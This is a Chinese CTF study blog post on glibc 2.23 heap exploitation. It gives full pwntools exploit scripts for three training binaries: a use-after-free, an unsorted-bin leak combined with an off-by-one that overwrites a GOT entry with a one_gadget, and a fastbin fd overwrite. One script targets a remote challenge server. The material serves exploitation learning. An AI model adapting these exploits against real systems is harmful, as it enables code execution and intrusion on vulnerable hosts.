Glibc Heap Exploit 坐牢笔记 - 0x04#

UAF#

hitcontraining_uaf#

uaf直接秒了

#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './hacknote'
p=remote('node5.buuoj.cn',29733)
# p=process(['./ld-2.23.so', pwn], env={"LD_PRELOAD":'./libc-2.23.so'})
# p=process('./hacknote')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')

def add(sizd,con):
    p.sendlineafter("Your choice :","1")
    p.sendlineafter("Note size :",str(sizd))
    p.sendlineafter("Content :",con)
def dele(idx):
    p.sendlineafter("Your choice :","2")
    p.sendlineafter("Index :",str(idx))
def show(idx):
    p.sendlineafter("Your choice :","3")
    p.sendlineafter("Index :",str(idx))

# 0~4
add(0x20,'') #0 a1-a2
add(0x20,'') #1 b1-b2

# dele(0)
dele(1)
dele(0)

add(8,p64(0x8048945)) #2 a1-b1

show(0)

p.interactive()

Unsorted Bin Attack + Off By One#

hitcontraining_heapcreator#

利用Unsorted Bin里面只有一个chunk的时候，这个chunk的fd和bk都是指向main_arena的固定偏移位置的“特性”，可以泄露出libc基址，从而得到one_gadget的地址，也可以得到system函数的地址。 之后利用Off_by_One修改free的chunk的大小再malloc他，就可以得到覆盖在之后的chunk之上的大chunk，因此修改这个chunk就相当于修改了他覆盖的chunk，因此我们把保存存储内容的chunk的地址的chunk记录的地址改为atoi()的got表地址，修改这个chunk记录的地址就相当于修改atoi()的got表。（修改hook也是可以的，但是我懒得找偏移了。）

#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './heapcreator'
# p=remote('node5.buuoj.cn',27905)
p=process(['./ld-2.23.so', pwn], env={"LD_PRELOAD":'./libc-2.23.so'})
# p=process('./heapcreator')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# puts("--------------------------------");
#   puts("          Heap Creator          ");
#   puts("--------------------------------");
#   puts(" 1. Create a Heap               ");
#   puts(" 2. Edit a Heap                 ");
#   puts(" 3. Show a Heap                 ");
#   puts(" 4. Delete a Heap               ");
#   puts(" 5. Exit                        ");
#   puts("--------------------------------");

def add(size,con):
    p.sendlineafter("Your choice :","1")
    p.sendlineafter("Size of Heap : ",str(size))
    p.sendafter("Content of heap:",con)
def edit(idx,con):
    p.sendlineafter("Your choice :","2")
    p.sendlineafter("Index :",str(idx))
    p.sendafter("Content of heap : ",con)
def show(idx):
    p.sendlineafter("Your choice :","3")
    p.sendlineafter("Index :",str(idx))
def dele(idx):
    p.sendlineafter("Your choice :","4")
    p.sendlineafter("Index :",str(idx))

add(0x108,b'a')#0
add(0x58,b'a') #1
dele(0)
add(0x108,b'abcddcba')#0
show(0)

p.recvuntil(b'abcddcba')
base=u64(p.recv(6)+b'\x00\x00')-(0x00007f03883c3b78-0x7f0388000000)
execv=base+0xf0897
hook=base+0x11451 #fake
print(base)
# hack--->
# gdb.attach(p)
add(0x18,b'a') #2
dele(2)
add(0x28,b'a') #2
add(0xf8,b'a') #3
add(0x18,b'a') #4
dele(3)
edit(2,p64(0)*5+b'\xf1')
add(0x1e8,b'a') #3
edit(3,b'a'*0xf8+p64(0x21)+p64(0x21)+p64(0x602060))
edit(4,p64(execv))

print(base)

p.interactive()

# akyoi@AkyOI-VM:~/PWN/Heap$ one_gadget libc-2.23.so
# 0x4525a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

# 0xef9f4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

# 0xf0897 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
# akyoi@AkyOI-VM:~/PWN/Heap$ 

Fastbin Attack#

hitcontraining_magicheap#

修改一个全局变量大于一个数值就行了。fastbin attack修改fd就行了。

#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './magicheap'
# p=remote('node5.buuoj.cn',26983)
p=process(['./ld-2.23.so', pwn], env={"LD_PRELOAD":'./libc-2.23.so'})
# p=process('./magicheap')
gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')

def add(size,con):
    p.sendlineafter("Your choice :","1")
    p.sendlineafter("Size of Heap : ",str(size))
    p.sendlineafter("Content of heap:",con)
def edit(idx,con):
    p.sendlineafter("Your choice :","2")
    p.sendlineafter("Index :",str(idx))
    p.sendlineafter("Size of Heap : ",str(len(con)))
    p.sendlineafter("Content of heap : ",con)
def dele(idx):
    p.sendlineafter("Your choice :","3")
    p.sendlineafter("Index :",str(idx))
def hack():
    p.sendlineafter("Your choice :","4869")

add(0x10,b'a') #0
add(0x60,b'a') #1
add(0x10,b'a') #2

dele(1)
edit(0,p64(0)*3+p64(0x71)+p64(0x60208d))  # size 0x602095     b'a'*10+p64(num)

add(0x60,b'a')
add(0x60,p64(0x114514))

hack()
p.interactive()